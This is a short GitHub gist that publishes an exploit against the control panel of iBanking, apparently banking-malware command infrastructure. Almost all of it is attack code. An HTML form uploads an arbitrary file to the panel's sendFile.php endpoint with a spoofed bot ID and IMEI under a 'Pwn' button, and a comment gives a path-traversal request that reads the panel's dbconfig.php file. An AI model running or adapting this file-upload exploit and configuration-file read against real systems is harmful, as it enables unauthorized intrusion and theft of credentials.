/gist:9a75b885766ae0fc6046
Created Oct 6, 2014
iBanking panel upload vulnerability
| <!-- iBanking panel upload vulnerability --> | |
| <!-- get.php?p=..&i=.&f=dbconfig.php --> | |
| <form method="POST" action="http://localhost/smsbot/sendFile.php" enctype="multipart/form-data"> | |
| FiLEZ: <input type="file" name="uploadedfile" /><br /> | |
| <input type="hidden" name="bot_id" value="500" /> | |
| <input type="hidden" name="imei" value="000000000000000" /> | |
| <input type="submit" value="Pwn" /> | |
| </form> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment